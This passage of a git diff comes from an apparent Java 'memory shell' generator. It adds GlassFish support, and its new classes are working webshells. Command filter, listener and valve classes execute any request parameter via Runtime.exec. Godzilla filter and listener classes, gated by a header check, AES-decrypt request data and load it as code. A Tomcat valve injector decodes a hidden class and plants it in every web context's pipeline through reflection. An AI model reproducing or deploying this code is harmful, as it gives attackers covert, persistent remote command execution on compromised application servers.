diff --git a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java index 9b8f3c09..1da0f087 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java @@ -5,6 +5,7 @@ import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; +import net.bytebuddy.dynamic.DynamicType; /** * @author ReaJason @@ -25,6 +26,11 @@ public class InjectorConfig { @Builder.Default private String injectorClassName = CommonUtil.generateInjectorClassName(); + /** + * 注入器 Builder + */ + DynamicType.Builder injectorBuilder; + /** * 注入访问的地址 */ @@ -36,6 +42,11 @@ public class InjectorConfig { */ private String shellClassName; + /** + * 内存马 Builder + */ + DynamicType.Builder shellBuilder; + /** * 内存马类字节 */ diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index c5f90696..5f0b05f9 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -196,7 +196,7 @@ public class GodzillaManager implements Closeable { if (response.isSuccessful()) { return true; } - System.out.println(response.body().string()); + System.out.println(response.body().string().trim()); } catch (IOException e) { e.printStackTrace(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java index c24d9329..3718e4f6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java @@ -66,7 +66,7 @@ public abstract class AbstractShell { .shellClassName(shellToolConfig.getClassName()) .shellClassBytes(shellBytes).build(); - byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig); + byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); return GenerateResult.builder() .shellConfig(shellConfig) @@ -108,7 +108,7 @@ public abstract class AbstractShell { private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { return switch (shellConfig.getShellTool()) { - case Godzilla -> GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig); + case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); }; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index 51bec687..bfc4bd10 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -17,33 +17,45 @@ import org.apache.commons.codec.digest.DigestUtils; * @since 2024/11/23 */ public class GodzillaGenerator { - public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) { - if (shellConfig.getClazz() == null) { - throw new IllegalArgumentException("shellConfig.getClazz() == null"); + private final ShellConfig shellConfig; + private final GodzillaConfig godzillaConfig; + + public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) { + this.shellConfig = shellConfig; + this.godzillaConfig = godzillaConfig; + } + + public DynamicType.Builder getBuilder() { + if (godzillaConfig.getClazz() == null) { + throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); } - String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16); - String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase(); + String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16); + String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase(); DynamicType.Builder builder = new ByteBuddy() - .redefine(shellConfig.getClazz()) - .name(shellConfig.getClassName()) - .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) + .redefine(godzillaConfig.getClazz()) + .name(godzillaConfig.getClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .constructor(ElementMatchers.any()) .intercept(SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass())) + .andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass())) .andThen(FieldAccessor.ofField("key").setsValue(md5Key)) .andThen(FieldAccessor.ofField("md5").setsValue(md5)) - .andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName())) - .andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue()))); + .andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName())) + .andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue()))); - if (config.isJakarta()) { + if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } - if (config.isDebugOff()) { + if (shellConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } + return builder; + } + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index 3f351ba6..333e34c3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -21,9 +21,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @since 2024/11/24 */ public class InjectorGenerator { + private final ShellConfig config; + private final InjectorConfig injectorConfig; + + public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) { + this.config = config; + this.injectorConfig = injectorConfig; + } @SneakyThrows - public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) { + public DynamicType.Builder getBuilder() { String base64String = Base64.encodeBase64String( CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())) .replace(System.lineSeparator(), ""); @@ -35,6 +42,7 @@ public class InjectorGenerator { .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); + if (config.needByPassJavaModule()) { builder = ByPassJavaModuleInterceptor.extend(builder); } @@ -42,7 +50,12 @@ public class InjectorGenerator { if (config.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } + return builder; + } + @SneakyThrows + public byte[] generate() { + DynamicType.Builder builder = getBuilder(); try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java new file mode 100644 index 00000000..4aabc793 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.memsell.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.glassfish.command.CommandFilter; +import com.reajason.javaweb.memsell.glassfish.command.CommandListener; +import com.reajason.javaweb.memsell.glassfish.command.CommandValve; +import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector; +import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector; +import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +public class GlassFishShell extends AbstractShell { + public static final String VALVE = "Valve"; + public static final String JAKARTA_VALVE = "JakartaValve"; + + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Command, ShellTool.Godzilla); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class), + VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class), + JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class), + VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class), + JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java new file mode 100644 index 00000000..7581fc46 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.glassfish.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String paramName = "{{paramName}}"; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java new file mode 100644 index 00000000..c156d2f2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.memsell.glassfish.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandValve.java new file mode 100644 index 00000000..518e108c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandValve.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memsell.glassfish.command; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class CommandValve implements Valve { + public String paramName = "{{paramName}}"; + protected Valve next; + protected boolean asyncSupported; + + public CommandValve() { + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaFilter.java new file mode 100644 index 00000000..99a7bc58 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaFilter.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memsell.glassfish.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaListener.java new file mode 100644 index 00000000..ed69d445 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaListener.java @@ -0,0 +1,152 @@ +package com.reajason.javaweb.memsell.glassfish.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/TomcatValveInjector.java new file mode 100644 index 00000000..eb52ef86 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/TomcatValveInjector.java @@ -0,0 +1,255 @@ +package com.reajason.javaweb.memsell.glassfish.godzilla; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Valve 注入器 + * Tested version: + * jdk v1.8.0_275 + * tomcat v8.5.83, v9.0.67 + */ +public class TomcatValveInjector { + + static { + new TomcatValveInjector(); + } + + public TomcatValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getValve(context); + if (valve == null) { + continue; + } + System.out.println(valve); + injectValve(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @SuppressWarnings("all") + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + @SuppressWarnings("all") + private Object getValve(Object context) { + Object valve = null; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + valve = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + valve = clazz.newInstance(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + return valve; + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String valveClassName) throws Exception { + Object obj = invokeMethod(context, "getPipeline"); + Object[] valves = (Object[]) invokeMethod(obj, "getValves"); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(valveClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public void injectValve(Object context, Object valve) throws Exception { + if (isInjected(context, valve.getClass().getName())) { + System.out.println("valve already injected"); + return; + } + try { + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + Object obj = invokeMethod(context, "getPipeline"); + invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + for (Thread thread : threads) { + // 适配 v5 的 Class Loader 问题 + if (thread.getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = thread.getContextClassLoader(); + break; + } + } + return catalinaLoader; + } +} \ No newline at end of file diff --git 